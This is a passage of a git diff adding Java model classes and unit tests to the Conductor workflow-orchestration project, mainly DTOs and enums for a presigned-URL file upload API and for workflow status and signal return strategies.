+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model; + +public enum WorkflowSignalReturnStrategy { + /** + * The state of the workflow that was specified via workflow (execution) ID is returned, even if + * the currently blocking task belongs to a subworkflow. + */ + TARGET_WORKFLOW, + + /** + * The state of the workflow that is currently blocking is returned. This might be a potentially + * deep subworkflow of the workflow specified in the initial API request. + */ + BLOCKING_WORKFLOW, + + /** + * The state of the task that is currently blocking is returned. This might be a task in a + * potentially deep subworkflow of the workflow specified in the initial API request. + */ + BLOCKING_TASK, + + /** + * The input for the task that is currently blocking is returned. This might be a task in a + * potentially deep subworkflow of the workflow specified in the initial API request. + */ + BLOCKING_TASK_INPUT; + + // This unfortunately got much more difficult to implement when the notification service was + // made to notify with + // subworkflow data directly rather than notify the parent. + /// ** + // * The state of each task that is currently blocking is returned. This might include tasks in + // potentially deep + // * subworkflows of the workflow specified in the initial API request. + // */ + // ALL_BLOCKING_TASKS, +} diff --git a/common/src/main/java/org/conductoross/conductor/model/WorkflowStatus.java b/common/src/main/java/org/conductoross/conductor/model/WorkflowStatus.java new file mode 100644 index 0000000..2a8d80b --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/WorkflowStatus.java @@ -0,0 +1,55 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model; + +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.common.run.Workflow; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +/** + * Lightweight summary of a workflow execution, returned by {@code GET + * /workflow/{workflowId}/status}. Unlike {@link Workflow}, it omits the full task list and only + * optionally includes output and variables, making it cheap to fetch when a caller just needs the + * current status. + */ +@Data +@NoArgsConstructor +@AllArgsConstructor +public class WorkflowStatus { + + private String workflowId; + private String correlationId; + private Map output; + private Map variables; + private Workflow.WorkflowStatus status; + + public WorkflowStatus(Workflow workflow, boolean includeOutput, boolean includeVariables) { + this.workflowId = workflow.getWorkflowId(); + if (StringUtils.isNotEmpty(workflow.getCorrelationId())) { + this.correlationId = workflow.getCorrelationId(); + } + if (includeOutput) { + this.output = workflow.getOutput(); + } + if (includeVariables) { + this.variables = workflow.getVariables(); + } + this.status = workflow.getStatus(); + } +} diff --git a/common/src/main/java/org/conductoross/conductor/model/file/FileDownloadUrlResponse.java b/common/src/main/java/org/conductoross/conductor/model/file/FileDownloadUrlResponse.java new file mode 100644 index 0000000..4c56a77 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/file/FileDownloadUrlResponse.java @@ -0,0 +1,68 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model.file; + +import java.util.Objects; + +/** Response to {@code GET /api/files/{fileId}/download-url}. Requires status {@code UPLOADED}. */ +public class FileDownloadUrlResponse { + + private String fileHandleId; + + private String downloadUrl; + + private long expiresAt; + + public String getFileHandleId() { + return fileHandleId; + } + + public void setFileHandleId(String fileHandleId) { + this.fileHandleId = fileHandleId; + } + + public String getDownloadUrl() { + return downloadUrl; + } + + public void setDownloadUrl(String downloadUrl) { + this.downloadUrl = downloadUrl; + } + + public long getExpiresAt() { + return expiresAt; + } + + public void setExpiresAt(long expiresAt) { + this.expiresAt = expiresAt; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof FileDownloadUrlResponse that)) return false; + return Objects.equals(fileHandleId, that.fileHandleId) + && Objects.equals(downloadUrl, that.downloadUrl); + } + + @Override + public int hashCode() { + return Objects.hash(fileHandleId, downloadUrl); + } + + @Override + public String toString() { + return "FileDownloadUrlResponse{fileHandleId='%s', expiresAt=%d}" + .formatted(fileHandleId, expiresAt); + } +} diff --git a/common/src/main/java/org/conductoross/conductor/model/file/FileHandle.java b/common/src/main/java/org/conductoross/conductor/model/file/FileHandle.java new file mode 100644 index 0000000..561f6f6 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/file/FileHandle.java @@ -0,0 +1,147 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model.file; + +import java.util.Objects; + +/** + * File-metadata DTO returned by {@code GET /api/files/{fileId}}. Does not expose the + * server-internal {@code storagePath}. + */ +public class FileHandle { + + /** Prefixed handle: {@code conductor://file/}. */ + private String fileHandleId; + + private String fileName; + + private String contentType; + + private String contentHash; + + private StorageType storageType; + + private FileUploadStatus uploadStatus; + + private String workflowId; + + private String taskId; + + private long createdAt; + + private long updatedAt; + + public String getFileHandleId() { + return fileHandleId; + } + + public void setFileHandleId(String fileHandleId) { + this.fileHandleId = fileHandleId; + } + + public String getFileName() { + return fileName; + } + + public void setFileName(String fileName) { + this.fileName = fileName; + } + + public String getContentType() { + return contentType; + } + + public void setContentType(String contentType) { + this.contentType = contentType; + } + + public String getContentHash() { + return contentHash; + } + + public void setContentHash(String contentHash) { + this.contentHash = contentHash; + } + + public StorageType getStorageType() { + return storageType; + } + + public void setStorageType(StorageType storageType) { + this.storageType = storageType; + } + + public FileUploadStatus getUploadStatus() { + return uploadStatus; + } + + public void setUploadStatus(FileUploadStatus uploadStatus) { + this.uploadStatus = uploadStatus; + } + + public String getWorkflowId() { + return workflowId; + } + + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + public String getTaskId() { + return taskId; + } + + public void setTaskId(String taskId) { + this.taskId = taskId; + } + + public long getCreatedAt() { + return createdAt; + } + + public void setCreatedAt(long createdAt) { + this.createdAt = createdAt; + } + + public long getUpdatedAt() { + return updatedAt; + } + + public void setUpdatedAt(long updatedAt) { + this.updatedAt = updatedAt; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof FileHandle that)) return false; + return Objects.equals(fileHandleId, that.fileHandleId) + && Objects.equals(fileName, that.fileName) + && Objects.equals(contentType, that.contentType) + && Objects.equals(contentHash, that.contentHash) + && storageType == that.storageType + && uploadStatus == that.uploadStatus; + } + + @Override + public int hashCode() { + return Objects.hash( + fileHandleId, fileName, contentType, contentHash, storageType, uploadStatus); + } + + @Override + public String toString() { + return "FileHandle{fileHandleId='%s', fileName='%s', uploadStatus=%s}" + .formatted(fileHandleId, fileName, uploadStatus); + } +} diff --git a/common/src/main/java/org/conductoross/conductor/model/file/FileIdToFileHandleIdConverter.java b/common/src/main/java/org/conductoross/conductor/model/file/FileIdToFileHandleIdConverter.java new file mode 100644 index 0000000..cf1b2b4 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/file/FileIdToFileHandleIdConverter.java @@ -0,0 +1,37 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model.file; + +/** + * Converts between the bare {@code fileId} (URL path variables, {@code FileModel}, DAO/service + * params) and the prefixed {@code fileHandleId} ({@code conductor://file/}) used in JSON + * DTOs. Idempotent in both directions. + */ +public final class FileIdToFileHandleIdConverter { + + public static final String PREFIX = "conductor://file/"; + + private FileIdToFileHandleIdConverter() {} + + public static String toFileHandleId(String fileId) { + return fileId.startsWith(PREFIX) ? fileId : PREFIX + fileId; + } + + public static String toFileId(String value) { + return value.startsWith(PREFIX) ? value.substring(PREFIX.length()) : value; + } + + public static boolean isFileHandleId(Object value) { + return value instanceof String s && s.startsWith(PREFIX); + } +} diff --git a/common/src/main/java/org/conductoross/conductor/model/file/FileUploadCompleteResponse.java b/common/src/main/java/org/conductoross/conductor/model/file/FileUploadCompleteResponse.java new file mode 100644 index 0000000..f4d0398 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/file/FileUploadCompleteResponse.java @@ -0,0 +1,72 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model.file; + +import java.util.Objects; + +/** + * Response to {@code POST /api/files/{fileId}/upload-complete}. {@code contentHash} is the + * backend-reported hash, or {@code null} for backends that do not expose one. + */ +public class FileUploadCompleteResponse { + + private String fileHandleId; + + private FileUploadStatus uploadStatus; + + private String contentHash; + + public String getFileHandleId() { + return fileHandleId; + } + + public void setFileHandleId(String fileHandleId) { + this.fileHandleId = fileHandleId; + } + + public FileUploadStatus getUploadStatus() { + return uploadStatus; + } + + public void setUploadStatus(FileUploadStatus uploadStatus) { + this.uploadStatus = uploadStatus; + } + + public String getContentHash() { + return contentHash; + } + + public void setContentHash(String contentHash) { + this.contentHash = contentHash; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof FileUploadCompleteResponse that)) return false; + return Objects.equals(fileHandleId, that.fileHandleId) + && uploadStatus == that.uploadStatus + && Objects.equals(contentHash, that.contentHash); + } + + @Override + public int hashCode() { + return Objects.hash(fileHandleId, uploadStatus, contentHash); + } + + @Override + public String toString() { + return "FileUploadCompleteResponse{fileHandleId='%s', uploadStatus=%s}" + .formatted(fileHandleId, uploadStatus); + } +} diff --git a/common/src/main/java/org/conductoross/conductor/model/file/FileUploadRequest.java b/common/src/main/java/org/conductoross/conductor/model/file/FileUploadRequest.java new file mode 100644 index 0000000..78c6ef1 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/file/FileUploadRequest.java @@ -0,0 +1,81 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model.file; + +import java.util.Objects; + +import jakarta.validation.constraints.NotBlank; + +/** Payload for {@code POST /api/files} — describes the file the client intends to upload. */ +public class FileUploadRequest { + + private String fileName; + + private String contentType; + + @NotBlank(message = "workflowId is required") + private String workflowId; + + private String taskId; + + public String getFileName() { + return fileName; + } + + public void setFileName(String fileName) { + this.fileName = fileName; + } + + public String getContentType() { + return contentType; + } + + public void setContentType(String contentType) { + this.contentType = contentType; + } + + public String getWorkflowId() { + return workflowId; + } + + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + public String getTaskId() { + return taskId; + } + + public void setTaskId(String taskId) { + this.taskId = taskId; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof FileUploadRequest that)) return false; + return Objects.equals(fileName, that.fileName) + && Objects.equals(contentType, that.contentType); + } + + @Override + public int hashCode() { + return Objects.hash(fileName, contentType); + } + + @Override + public String toString() { + return "FileUploadRequest{fileName='%s', contentType='%s'}" + .formatted(fileName, contentType); + } +} diff --git a/common/src/main/java/org/conductoross/conductor/model/file/FileUploadResponse.java b/common/src/main/java/org/conductoross/conductor/model/file/FileUploadResponse.java new file mode 100644 index 0000000..3b16cc3 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/file/FileUploadResponse.java @@ -0,0 +1,126 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model.file; + +import java.util.Objects; + +/** + * Response to {@code POST /api/files}. Carries the new {@code fileHandleId} plus a presigned upload + * URL and its expiry. Status is {@code UPLOADING}; client confirms via {@code POST + * /api/files/{fileId}/upload-complete}. + */ +public class FileUploadResponse { + + /** Prefixed handle: {@code conductor://file/}. */ + private String fileHandleId; + + private String fileName; + + private String contentType; + + private StorageType storageType; + + private FileUploadStatus uploadStatus; + + private String uploadUrl; + + private long uploadUrlExpiresAt; + + private long createdAt; + + public String getFileHandleId() { + return fileHandleId; + } + + public void setFileHandleId(String fileHandleId) { + this.fileHandleId = fileHandleId; + } + + public String getFileName() { + return fileName; + } + + public void setFileName(String fileName) { + this.fileName = fileName; + } + + public String getContentType() { + return contentType; + } + + public void setContentType(String contentType) { + this.contentType = contentType; + } + + public StorageType getStorageType() { + return storageType; + } + + public void setStorageType(StorageType storageType) { + this.storageType = storageType; + } + + public FileUploadStatus getUploadStatus() { + return uploadStatus; + } + + public void setUploadStatus(FileUploadStatus uploadStatus) { + this.uploadStatus = uploadStatus; + } + + public String getUploadUrl() { + return uploadUrl; + } + + public void setUploadUrl(String uploadUrl) { + this.uploadUrl = uploadUrl; + } + + public long getUploadUrlExpiresAt() { + return uploadUrlExpiresAt; + } + + public void setUploadUrlExpiresAt(long uploadUrlExpiresAt) { + this.uploadUrlExpiresAt = uploadUrlExpiresAt; + } + + public long getCreatedAt() { + return createdAt; + } + + public void setCreatedAt(long createdAt) { + this.createdAt = createdAt; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof FileUploadResponse that)) return false; + return Objects.equals(fileHandleId, that.fileHandleId) + && Objects.equals(fileName, that.fileName) + && Objects.equals(contentType, that.contentType) + && storageType == that.storageType + && uploadStatus == that.uploadStatus; + } + + @Override + public int hashCode() { + return Objects.hash(fileHandleId, fileName, contentType, storageType, uploadStatus); + } + + @Override + public String toString() { + return "FileUploadResponse{fileHandleId='%s', uploadStatus=%s}" + .formatted(fileHandleId, uploadStatus); + } +} diff --git a/common/src/main/java/org/conductoross/conductor/model/file/FileUploadStatus.java b/common/src/main/java/org/conductoross/conductor/model/file/FileUploadStatus.java new file mode 100644 index 0000000..2b3855a --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/file/FileUploadStatus.java @@ -0,0 +1,23 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model.file; + +/** Server-authoritative upload lifecycle state. */ +public enum FileUploadStatus { + /** Reserved for future use; not entered by the current flow. */ + PENDING, + UPLOADING, + UPLOADED, + /** Set by the background audit when an {@link #UPLOADING} record remains stale. */ + FAILED +} diff --git a/common/src/main/java/org/conductoross/conductor/model/file/FileUploadUrlResponse.java b/common/src/main/java/org/conductoross/conductor/model/file/FileUploadUrlResponse.java new file mode 100644 index 0000000..ecb9f00 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/file/FileUploadUrlResponse.java @@ -0,0 +1,70 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model.file; + +import java.util.Objects; + +/** + * Response to {@code GET /api/files/{fileId}/upload-url} — fresh presigned upload URL for retry. + */ +public class FileUploadUrlResponse { + + private String fileHandleId; + + private String uploadUrl; + + private long expiresAt; + + public String getFileHandleId() { + return fileHandleId; + } + + public void setFileHandleId(String fileHandleId) { + this.fileHandleId = fileHandleId; + } + + public String getUploadUrl() { + return uploadUrl; + } + + public void setUploadUrl(String uploadUrl) { + this.uploadUrl = uploadUrl; + } + + public long getExpiresAt() { + return expiresAt; + } + + public void setExpiresAt(long expiresAt) { + this.expiresAt = expiresAt; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof FileUploadUrlResponse that)) return false; + return Objects.equals(fileHandleId, that.fileHandleId) + && Objects.equals(uploadUrl, that.uploadUrl); + } + + @Override + public int hashCode() { + return Objects.hash(fileHandleId, uploadUrl); + } + + @Override + public String toString() { + return "FileUploadUrlResponse{fileHandleId='%s', expiresAt=%d}" + .formatted(fileHandleId, expiresAt); + } +} diff --git a/common/src/main/java/org/conductoross/conductor/model/file/MultipartCompleteRequest.java b/common/src/main/java/org/conductoross/conductor/model/file/MultipartCompleteRequest.java new file mode 100644 index 0000000..feadb9e --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/file/MultipartCompleteRequest.java @@ -0,0 +1,53 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model.file; + +import java.util.List; +import java.util.Objects; + +/** + * Payload for {@code POST /api/files/{fileId}/multipart/{uploadId}/complete}. {@code partETags} is + * the ordered list of ETags (or backend equivalents) from each part upload. + */ +public class MultipartCompleteRequest { + + private List partETags; + + public List getPartETags() { + return partETags; + } + + public void setPartETags(List partETags) { + this.partETags = partETags; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof MultipartCompleteRequest that)) return false; + return Objects.equals(partETags, that.partETags); + } + + @Override + public int hashCode() { + return Objects.hash(partETags); + } + + @Override + public String toString() { + return "MultipartCompleteRequest{" + + "partETags.size=" + + (partETags != null ? partETags.size() : 0) + + '}'; + } +} diff --git a/common/src/main/java/org/conductoross/conductor/model/file/MultipartInitResponse.java b/common/src/main/java/org/conductoross/conductor/model/file/MultipartInitResponse.java new file mode 100644 index 0000000..fb001d4 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/file/MultipartInitResponse.java @@ -0,0 +1,59 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model.file; + +import java.util.Objects; + +/** Response to {@code POST /api/files/{fileId}/multipart} — initiates a multipart upload. */ +public class MultipartInitResponse { + + private String fileHandleId; + + /** Backend-specific multipart identifier (S3 {@code UploadId}, GCS resumable session ID). */ + private String uploadId; + + public String getFileHandleId() { + return fileHandleId; + } + + public void setFileHandleId(String fileHandleId) { + this.fileHandleId = fileHandleId; + } + + public String getUploadId() { + return uploadId; + } + + public void setUploadId(String uploadId) { + this.uploadId = uploadId; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof MultipartInitResponse that)) return false; + return Objects.equals(fileHandleId, that.fileHandleId) + && Objects.equals(uploadId, that.uploadId); + } + + @Override + public int hashCode() { + return Objects.hash(fileHandleId, uploadId); + } + + @Override + public String toString() { + return "MultipartInitResponse{fileHandleId='%s', uploadId='%s'}" + .formatted(fileHandleId, uploadId); + } +} diff --git a/common/src/main/java/org/conductoross/conductor/model/file/StorageType.java b/common/src/main/java/org/conductoross/conductor/model/file/StorageType.java new file mode 100644 index 0000000..5c39b96 --- /dev/null +++ b/common/src/main/java/org/conductoross/conductor/model/file/StorageType.java @@ -0,0 +1,25 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.model.file; + +/** + * Storage backend identifier. Shared between server and SDK — the server stamps its configured type + * onto every file; the SDK selects a matching {@code FileStorageBackend}. + */ +public enum StorageType { + S3, + AZURE_BLOB, + GCS, + /** Server-local filesystem. Does not support multipart. */ + LOCAL +} diff --git a/common/src/test/java/com/netflix/conductor/common/config/TestObjectMapperConfiguration.java b/common/src/test/java/com/netflix/conductor/common/config/TestObjectMapperConfiguration.java new file mode 100644 index 0000000..b835693 --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/config/TestObjectMapperConfiguration.java @@ -0,0 +1,28 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.config; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** Supplies the standard Conductor {@link ObjectMapper} for tests that need them. */ +@Configuration +public class TestObjectMapperConfiguration { + + @Bean + public ObjectMapper testObjectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/constraints/NameValidatorTest.java b/common/src/test/java/com/netflix/conductor/common/constraints/NameValidatorTest.java new file mode 100644 index 0000000..2fc1968 --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/constraints/NameValidatorTest.java @@ -0,0 +1,52 @@ +/* + * Copyright 2024 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.constraints; + +import org.junit.Test; +import org.springframework.test.util.ReflectionTestUtils; + +import jakarta.validation.ConstraintValidatorContext; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class NameValidatorTest { + @Test + public void nameWithAllowedCharactersIsValid() { + ValidNameConstraint.NameValidator nameValidator = new ValidNameConstraint.NameValidator(); + assertTrue(nameValidator.isValid("workflowDef", null)); + } + + @Test + public void nonAllowedCharactersInNameIsInvalid() { + ValidNameConstraint.NameValidator nameValidator = new ValidNameConstraint.NameValidator(); + ConstraintValidatorContext context = mock(ConstraintValidatorContext.class); + ConstraintValidatorContext.ConstraintViolationBuilder builder = + mock(ConstraintValidatorContext.ConstraintViolationBuilder.class); + when(context.buildConstraintViolationWithTemplate(anyString())).thenReturn(builder); + + ReflectionTestUtils.setField(nameValidator, "nameValidationEnabled", true); + + assertFalse(nameValidator.isValid("workflowDef@", context)); + } + + // Null should be tested by @NotEmpty or @NotNull + @Test + public void nullIsValid() { + ValidNameConstraint.NameValidator nameValidator = new ValidNameConstraint.NameValidator(); + assertTrue(nameValidator.isValid(null, null)); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/events/EventHandlerTest.java b/common/src/test/java/com/netflix/conductor/common/events/EventHandlerTest.java new file mode 100644 index 0000000..db23c69 --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/events/EventHandlerTest.java @@ -0,0 +1,51 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.events; + +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.events.EventHandler; + +import jakarta.validation.ConstraintViolation; +import jakarta.validation.Validation; +import jakarta.validation.Validator; +import jakarta.validation.ValidatorFactory; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; + +public class EventHandlerTest { + + @Test + public void testWorkflowTaskName() { + EventHandler taskDef = new EventHandler(); // name is null + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(taskDef); + assertEquals(3, result.size()); + + List validationErrors = new ArrayList<>(); + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue(validationErrors.contains("Missing event handler name")); + assertTrue(validationErrors.contains("Missing event location")); + assertTrue( + validationErrors.contains( + "No actions specified. Please specify at-least one action")); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/metadata/EnvironmentVariableTest.java b/common/src/test/java/com/netflix/conductor/common/metadata/EnvironmentVariableTest.java new file mode 100644 index 0000000..476cd59 --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/metadata/EnvironmentVariableTest.java @@ -0,0 +1,36 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; + +public class EnvironmentVariableTest { + + @Test + public void testFactoryAndAccessors() { + EnvironmentVariable ev = EnvironmentVariable.of("REGION", "us-east-1"); + assertEquals("REGION", ev.getName()); + assertEquals("us-east-1", ev.getValue()); + } + + @Test + public void testSetters() { + EnvironmentVariable ev = new EnvironmentVariable(); + ev.setName("A"); + ev.setValue("B"); + assertEquals("A", ev.getName()); + assertEquals("B", ev.getValue()); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/metadata/workflow/WorkflowClassifierTest.java b/common/src/test/java/com/netflix/conductor/common/metadata/workflow/WorkflowClassifierTest.java new file mode 100644 index 0000000..7ef610c --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/metadata/workflow/WorkflowClassifierTest.java @@ -0,0 +1,93 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

